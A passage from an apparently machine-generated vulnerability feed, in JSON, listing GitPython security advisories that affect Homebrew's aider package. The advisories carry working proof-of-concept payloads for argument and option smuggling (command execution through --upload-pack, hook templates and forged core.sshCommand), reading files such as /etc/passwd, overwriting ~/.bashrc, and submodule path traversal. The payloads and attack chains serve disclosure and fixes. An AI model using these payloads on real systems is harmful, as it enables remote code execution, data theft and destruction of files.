`git clone -n --upload-pack='touch ...;git-upload-pack' -- `; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end).\n\n## Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`; `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from with the payload created the marker file; the direct-name `upload_pack=` form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector.\n\n## Affected Versions\n`<= 3.1.53`\n\n## Suggested Fix\nMake `_option_candidates` also emit candidates derived from single-character kwarg VALUES when `split_single_char_options` is in effect, OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2180"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-76217","published":"2026-08-20T08:39:09Z","modified":"2026-09-11T15:20:33Z","upstream":["GHSA-hh9p-6wh2-4mfc","CVE-2026-76217","PYSEC-2026-3841"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.58","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()","details":"## Summary\n\n`IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout`\nwith no guard. Passing `--pathspec-from-file=` **together with `--pathspec-file-nul`**\nmakes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec\nerror quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the\nentire contents of a caller-chosen file are returned to the caller in band.\n\nThis is the same primitive as Instance 2 of\n[GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()`\nwith `-F`, arbitrary file read returned in band - at two sites that advisory assessed and\ncleared.\n\n## Prior art, and why I am filing rather than commenting\n\nGHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment\n*\"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found\"*:\n\n| Call site | git command | that advisory's assessment |\n|---|---|---|\n| `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found |\n| `IndexFile.move()` | `mv` | same |\n| `HEAD.reset()` | `reset` | same |\n| `HEAD.checkout()` | `checkout` | same |\n\nThat assessment is very nearly right, and I think that is why it held: with\n`--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first\nline**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag\nof the same option, and the documented way to handle paths containing newlines - makes the\nwhole file one pathspec.\n\n## Root cause\n\n`git/index/base.py:991-1043`:\n\n```python\ndef remove(self, items, working_tree=False, **kwargs):\n ...\n removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043\n```\n\n`git/refs/head.py:237-268`:\n\n```python\ndef checkout(self, force: bool = False, **kwargs: Any):\n ...\n self.repo.git.checkout(self, **kwargs) # line 268\n```\n\nNeither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call.\n\n## Proof of concept\n\n```python\nfrom git import Repo\nfrom git.exc import GitCommandError\n\nrepo = Repo(\"/path/to/repo\")\nkw = dict(pathspec_from_file=\"/etc/passwd\", pathspec_file_nul=True)\n\ntry:\n repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw)\nexcept GitCommandError as e:\n print(e.stderr) # <- entire file contents\n```\n\nObserved on published 3.1.57, against a canary file holding three marked lines:\n\n```\n[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band\n stderr: 'fatal: pathspec 'LINE1-CANARY-4242\n LINE2-SECRET-7777\n LINE3-TAIL-9999\n ' did not match any files'\n[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band\n stderr: 'error: pathspec 'LINE1-CANARY-4242\n LINE2-SECRET-7777\n LINE3-TAIL-9999\n ' did not match any file(s) known to git'\n[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses\n[PASS] PRECISION: the GUARDED checkout-index leaks 0/3\n```\n\nThe two precision controls are there so the result is about these sinks and not about the\ncanary being visible everywhere.\n\n## Scope correction to the table above\n\nOf the four sites cleared with that sentence, **two disclose and two do not**:\n\n| Call site | disclosed? |\n|---|---|\n| `IndexFile.remove()` → `git rm` | **yes, full file** |\n| `Head.checkout()` → `git checkout` | **yes, full file** |\n| `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs |\n| `IndexFile.move()` → `git mv` | no |\n\nThe two negatives are mentioned because \"the dismissal was wrong\" would overstate it: the\ndismissal was wrong for half of what it covered.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76217"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2204"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-76218","published":"2026-08-20T08:39:09Z","modified":"2026-09-11T15:20:33Z","upstream":["GHSA-9rj7-rf2p-w77r","CVE-2026-76218","PYSEC-2026-3840"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.58","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks","details":"## Summary\n`Repo.init()` forwards `**kwargs` verbatim to `git init` with no unsafe-option guard and no `allow_unsafe_options` parameter. `git init --template=` copies `/hooks/*` into the new repo's `.git/hooks`, so an attacker-controlled `template` kwarg plants a hook that executes on the next git operation → arbitrary code execution. `--template` is already recognized as unsafe for clone (it is on `unsafe_git_clone_options`, and GHSA-6p8h-3wgx-97gf covers the clone path), but `Repo.init` is a distinct method that never received a guard and needs an independent fix.\n\n## Root Cause\n`Repo.init(path, mkdir, odbt, expand_vars, **kwargs)` is a bare `git.init(**kwargs)` (git/repo/base.py:1435) with no `check_unsafe_options` and no `allow_unsafe_options`.\n\n## Impact\nArbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a `template=` kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Default `allow_unsafe_options` is irrelevant here because `Repo.init` has no guard at all.\n\n## Proof of Concept\n```python\n# attacker stages /evil/hooks/post-commit (executable)\nfrom git import Repo\nRepo.init(path, template=\"/evil\")\n# next commit runs /evil/hooks/post-commit -> ACE\n```\n\n## Attack Chain\n1. Entry: attacker stages `/evil/hooks/post-commit` (executable) and gets the app to call `Repo.init(path, template='/evil')`.\n2. Check: NONE on `Repo.init`. Bypass proof: base.py:1435 is a bare `git.init(**kwargs)`. argv (observed): `['git','init','--template=/evil']`.\n3. Sink: git copies `/evil/hooks/post-commit` → `/.git/hooks/post-commit`.\n4. Impact: next commit runs the hook → arbitrary code execution.\n\n## Bypass Evidence\nIndependently reproduced (gate harness): `Repo.init(dst, template='')` → argv `['git','init','--template=']` unguarded; hook copied into `.git/hooks/post-commit`; after `git commit` the `INIT_ACE` marker was created. `--separate-git-dir=` is a parallel arbitrary-redirect vector through the same unguarded sink (value control only).\n\n## Affected Versions\n`GitPython <= 3.1.57` (unguarded `git.init(**kwargs)` present verbatim on the latest release tag).\n\n## Suggested Fix\nAdd a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `Repo.init`, consulting a denylist that includes `--template` and `--separate-git-dir` (path-taking / hook-installing options).\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76218"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2204"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/d9ddb55bdc66"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-76219","published":"2026-08-20T08:39:09Z","modified":"2026-09-11T15:20:33Z","upstream":["GHSA-4gmw-gg2m-w46p","CVE-2026-76219","PYSEC-2026-3838"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.58","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree enables arbitrary file overwrite","details":"## Summary\n`IndexFile.from_tree`, `IndexFile.reset` (→ from_tree) and `IndexFile.merge_tree` append caller-influenced treeish strings positionally to `git read-tree` with no unsafe-option guard, no `allow_unsafe_options` parameter, and no `--` separator. `git read-tree --index-output=` writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected `--index-output` override the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit `3af0c251` (GHSA-3f7w-8rr8-f37f) guarded only `checkout_index` and `tag`; `read_tree` was left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed).\n\n## Root Cause\n`from_tree` (index/base.py:388), `reset` (delegates to from_tree), and `merge_tree` (index/base.py:291) call `repo.git.read_tree(*arg_list)` with no `check_unsafe_options` and no `--`. The treeish is caller-influenced and positional.\n\n## Impact\nArbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's \"overwrite-any-path = I:H\" rule). Pure VALUE control (positional treeish). Default configuration.\n\n## Proof of Concept\n```python\nIndexFile.from_tree(repo, \"--index-output=/home/victim/.bashrc\")\n# target overwritten with a valid git-index blob (DIRC...)\n```\n\n## Attack Chain\n1. Entry: app calls `IndexFile.from_tree(repo, treeish)` / `reset(commit=…)` / `merge_tree(base=…, rhs=…)` with attacker `treeish=\"--index-output=/home/victim/.bashrc\"`.\n2. Check: NONE — the methods have no `allow_unsafe_options` and never call `check_unsafe_options`.\n3. Sink: `repo.git.read_tree(*arg_list)` — no `--`. argv (from_tree, observed): `['git','read-tree','--index-output=','--index-output=/…/victim']` (last-wins).\n4. Impact: target path created/overwritten with a valid git-index blob; existing content destroyed.\n\n## Bypass Evidence\nIndependently reproduced (gate harness): `IndexFile.from_tree(repo,'--index-output=')` → victim overwritten; before=`IMPORTANT ORIGINAL CONTENT`, after starts `DIRC\\x00\\x00\\x00\\x02…` (destructive clobber, valid index blob). `reset(commit=…)` and both `merge_tree` positionals verified. Fix-commit read: `3af0c251` touched only `checkout_index`+`tag`; `read_tree` untouched on HEAD.\n\n## Affected Versions\n`GitPython <= 3.1.57` (sinks present verbatim on the latest release tag).\n\n## Suggested Fix\nAdd a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `from_tree`/`reset`/`merge_tree`, and/or place a `--` separator before the positional treeish arguments; block `--index-output` (a path-taking option) on this sink.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-4gmw-gg2m-w46p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76219"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2204"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/9b5dcaf85da5946dbf69dcd53f9edba08f760b32"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-76220","published":"2026-08-20T08:39:09Z","modified":"2026-09-11T15:20:33Z","upstream":["GHSA-wvpp-8hx9-p66j","CVE-2026-76220","PYSEC-2026-3843"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.58","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables command execution","details":"## Summary\nThe `check_unsafe_options` guard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg with `split_single_char_options=False`. The guard's candidate list omits the smuggled option, but `transform_kwarg` emits a JOINED `-n` argv token that git parses as `--upload-pack=`, yielding arbitrary command execution at the default `allow_unsafe_options=False`. This is an incomplete-fix bypass of commit `e8d0fbf7` (the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates when `split_single_char_options` is True.\n\n## Root Cause\n`_option_candidates` derives value-token candidates only under `if len(key)==1 and split_single_char_options:` (cmd.py:1048, added by `e8d0fbf7`). With `split_single_char_options=False`, `_option_candidates([], {\"n\":\"utouch ;git-upload-pack\"})` returns only `['-n']` (not on the denylist), so the guard passes. But `transform_kwarg('n', value, split_single_char_options=False)` emits the JOINED token `-nutouch ;git-upload-pack` (cmd.py:1631). git clusters value-less short flags then parses `-u` = `--upload-pack=` → command execution. The hardened guard WOULD block the joined token if it saw it — the flaw is it never receives it.\n\n## Impact\nArbitrary OS command execution as the host process (via `--upload-pack`) at default `allow_unsafe_options=False`, affecting all guarded methods that forward kwargs. Precondition: the app forwards a user-controlled kwargs dict containing `split_single_char_options=False` plus a single-char key (same user-dict-forwarding model GHSA-r9mr-m37c-5fr3 accepts).\n\n## Proof of Concept\n```python\nfrom git import Repo\nRepo.clone_from(src, dst,\n n=\"utouch /tmp/ACE;git-upload-pack\",\n split_single_char_options=False) # /tmp/ACE created -> ACE\n```\n\n## Attack Chain\n1. Entry: app forwards user kwargs to `Repo.clone_from(url, path, **kwargs)`: `{split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}`.\n2. Check: `check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options)`. Guard: denylist includes `--upload-pack`/`-u`. Bypass proof: `_option_candidates` yields only `['-n']` (value token skipped because `split=False`); guard never sees `-u`.\n3. Sink: `transform_kwarg` emits joined token (cmd.py:1631). argv (observed): `['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','','']`.\n4. Impact: git clusters `-n` + `-u` → runs upload-pack command → ACE.\n\n## Bypass Evidence\nIndependently reproduced (gate harness, default `allow_unsafe_options=False`): the `split=False` payload created the marker `VH05_GATE_ACE` (ACE); the clone returned normally (guard bypassed). Control: `n='--upload-pack=…'` (split default True) → `UnsafeOptionError: --upload-pack is not allowed`. Fix-commit read: `e8d0fbf7` extends candidates only under `if len(key)==1 and split_single_char_options:` — split=False skips value emission. Also confirmed the earlier clustering-parse fix (commit `56806080`) does not cover this because the guard only ever receives `['-n']`.\n\n## Affected Versions\n`GitPython <= 3.1.57` (code present verbatim on the latest release tag).\n\n## Suggested Fix\nMake `_option_candidates` emit value-derived candidates regardless of `split_single_char_options` (i.e. also for the joined `-n` form), OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wvpp-8hx9-p66j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76220"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2204"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/96a888f4d782cb2f80452148e48e60ce4af6d541"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-76221","published":"2026-08-20T08:39:09Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-jm78-9fvv-mhgr","CVE-2026-76221","PYSEC-2026-3783"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.58","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: git-config OPTION-name injection via =/#/whitespace bypasses name validator, enabling forged core.sshCommand/hooksPath (RCE)","details":"## Summary\nGitPython's config-name validator only neutralizes CR/LF/NUL for the `\"option\"` label; it does not reject `=`, `#`, `;`, `[`, `]`, or whitespace in an **option name**. `write_section` writes the option name verbatim into the config file, so an option name such as `sshCommand = touch #` is written as `\\tsshCommand = touch # = `, which git parses as `core.sshCommand = touch ` (the trailing `#` comments out the intended value). This forges arbitrary config directives (`core.sshCommand`, `core.hooksPath`, `alias.*`) → RCE on the next git operation. This is a distinct field (option name, not section name) and distinct character class (`=`/`#`/space, not newline/bracket) from GHSA-3rp5-jjmw-4wv2 (section-name bracket injection) and GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 (newline injection).\n\n## Root Cause\n`_assure_config_name_safe(name, label)` (`git/config.py:897`) applies the bracket/quote state machine ONLY when `label == \"section\"`; for the `\"option\"` label it falls through with just the `UNSAFE_CONFIG_CHARS_RE = [\\r\\n\\x00]` regex. `write_section` then writes the option name verbatim into `\"\\t%s = %s\\n\"` (config.py:702).\n\n## Impact\nArbitrary git-config directive injection → remote code execution via `core.sshCommand` (fires on any ssh git operation, no staged file needed) or `core.hooksPath` (with a staged hook). Requires the embedding application to forward a caller-influenced OPTION NAME into the config writer (name-control model, the same name-control model accepted by the related published advisories GHSA-3rp5-jjmw-4wv2 and GHSA-mv93-w799-cj2w). Default configuration.\n\n## Proof of Concept\n```python\nwith repo.config_writer() as cw:\n cw.set_value(\"core\", \"sshCommand = touch /tmp/RCE #\", \"x\")\n# git config --get core.sshCommand -> touch /tmp/RCE\n```\n\n## Attack Chain\n1. Entry: app calls config writer with attacker-controlled OPTION name: `set_value(\"core\", \"sshCommand = touch /tmp/RCE #\", \"x\")`.\n2. Check: `_assure_config_name_safe(option, \"option\")` @ config.py. Guard: regex matches only `[\\r\\n\\x00]`; bracket/quote state machine is gated on `label==\"section\"`. Bypass proof: `=`,`#`,space pass → no `ValueError`.\n3. Sink: `write_section` writes `\"\\tsshCommand = touch /tmp/RCE # = x\\n\"` (config.py:702).\n4. Impact: git parses `core.sshCommand=touch /tmp/RCE` → arbitrary code execution on next git op.\n\n## Bypass Evidence\nIndependently reproduced (gate harness): `set_value('core','sshCommand = touch #','x')` → no `ValueError`; file line `sshCommand = touch # = x`; `git config --get core.sshCommand` → `touch ` (rc=0). Also verified `core.hooksPath` via both `GitConfigParser` and `repo.config_writer()`. Fix-commit read: bracket/quote checks are inside `if label == \"section\"`; the `\"option\"` label is not covered.\n\n## Affected Versions\n`GitPython <= 3.1.57` (validator present verbatim on the latest release tag).\n\n## Suggested Fix\nApply the section-name safety checks (reject `=`, `#`, `;`, `[`, `]`, whitespace) to the `\"option\"` label as well, or validate the fully-rendered config line after substitution.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-jm78-9fvv-mhgr"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2204"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/a495ccd3b547ccd60b2187215823b72a9c0188bf"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-76222","published":"2026-08-20T08:39:09Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-hmq2-w58f-27jc","CVE-2026-76222","PYSEC-2026-3784"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.58","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in GitPython","details":"### Summary\nGitPython computes the on-disk location of a submodule's separate Git directory (`.git/modules/`) from the submodule's `.gitmodules` section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. `../../../../home/victim/.something`) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (`submodule_update(init=True)` / `sm.update(init=True)`), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check.\n\n### Details\n`src/GitPython/git/objects/submodule/util.py` `sm_name()` strips the `submodule \"` / `\"` wrapper from a `.gitmodules` `[submodule \"...\"]` header and returns the result unchecked. `Submodule.iter_items()` in `src/GitPython/git/objects/submodule/base.py` reads this via `sm_name(sms)` and assigns it to `sm._name`; unlike the submodule `path`, `name` is never used for a tree lookup, so it is never implicitly validated. `Submodule._module_abspath()` then builds `osp.join(parent_repo.git_dir, \"modules\", name)` - `os.path.join` does not normalize `../` sequences. `Submodule._clone_repo()` passes this value straight to `os.makedirs()` and to `git clone --separate-git-dir=`, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for.\n\n### PoC\n1. Environment: Docker image built `FROM python:3.11-slim`, with `git` installed via `apt-get install -y git` (Debian bookworm packaged version, described in the advisory as \"git 2.x\"; the host-side verification separately used system git `2.34.1`, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via `pip install /src/GitPython` from this repository's own source, which the advisory states resolved to the officially released `GitPython==3.1.57` and `gitdb==4.0.12`.\n2. Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (`repo.submodules` + `sm.update(init=True)`, equivalent to `git submodule update --init`).\n3. Commands run (quoted verbatim from the advisory's \"Confirmed test run\" section):\n```bash\n$ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc .\n$ docker run --rm ghsa-gitpython-poc\n```\n(Per the Dockerfile, `docker run` executes `/work/run_all.sh`, which in turn runs `build_attacker_repo.sh`, then `poc_gitpython.py`, then `poc_control_realgit.sh`.)\n4. Full source of the PoC script (`GHSA/testing/poc_gitpython.py`), verbatim:\n```python\n\"\"\"GHSA-001 PoC: GitPython side.\n\nClones the attacker repo and runs the equivalent of\n`git submodule update --init` via GitPython, then checks whether a git\nrepository was created outside the clone directory.\n\"\"\"\nimport os\nimport shutil\n\nimport git\n\nCLONE_DIR = '/work/victim_clone/repo'\nESCAPE_TARGET = '/tmp/gitpython_poc_escaped_root'\n\n\ndef main():\n shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True)\n shutil.rmtree(ESCAPE_TARGET, ignore_errors=True)\n os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True)\n\n print(f'GitPython version: {git.__version__}')\n repo = git.Repo.clone_from('/work/attacker_repo', CLONE_DIR)\n print('Cloned into:', repo.working_tree_dir)\n\n sms = list(repo.submodules)\n for sm in sms:\n print(' submodule name:', repr(sm.name))\n print(' submodule path:', repr(sm.path))\n\n print('escape_target exists before update:', os.path.exists(ESCAPE_TARGET))\n\n for sm in sms:\n try:\n sm.update(init=True)\n except Exception as e:\n print('sm.update raised:', repr(e))\n\n exists = os.path.exists(ESCAPE_TARGET)\n print('escape_target exists after update:', exists)\n if exists:\n print('escape_target contents:', os.listdir(ESCAPE_TARGET))\n\n print('POC_RESULT=VULNERABLE' if exists else 'POC_RESULT=SAFE')\n\n\nif __name__ == '__main__':\n main()\n```\n5. Exact captured terminal output (verbatim, from the original advisory's \"Confirmed test run (Docker, released package)\" section):\n```\n=== GitPython PoC (vulnerable path) ===\nGitPython version: 3.1.57\nCloned into: /work/victim_clone/repo\n submodule name: '../../../../../../tmp/gitpython_poc_escaped_root/modules_dir'\n submodule path: 'legit_dir'\nescape_target exists before update: False\nescape_target exists after update: True\nescape_target contents: ['modules_dir']\nPOC_RESULT=VULNERABLE\n\n=== Control: real git CLI on identical repo ===\nwarning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir\nwarning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir\nfatal: No url found for submodule path 'legit_dir' in .gitmodules\nCONTROL_RESULT=SAFE (real git correctly refused)\n```\n6. Payload: the attacker rewrites the `.gitmodules` section header from `[submodule \"legit_dir\"]` to `[submodule \"../../../../../../tmp/gitpython_poc_escaped_root/modules_dir\"]` (built by `build_attacker_repo.sh`, part of the harness in `GHSA/testing/`). The malicious part is the `../../../../../../` traversal sequence embedded in the submodule *name* (not the tree-validated `path`), which becomes the on-disk target for the submodule's separate git directory.\n7. Expected vs. observed: A safe implementation (as demonstrated by the real `git` CLI control run) rejects the submodule name with \"ignoring suspicious submodule name\" and refuses to create anything outside the repository. GitPython instead created the escape-target directory and a fully-initialized Git repository at `/tmp/gitpython_poc_escaped_root/modules_dir`, confirmed by `escape_target exists after update: True` and its listed contents.\n8. Security impact demonstrated: arbitrary filesystem directory and Git-repository creation at an attacker-chosen absolute path outside the victim's intended clone directory, populated with attacker-controlled content sourced from the submodule's own (also attacker-controlled) `url`.\n\n### Impact\nPath traversal (CWE-22) / external control of file path (CWE-73) leading to arbitrary directory and 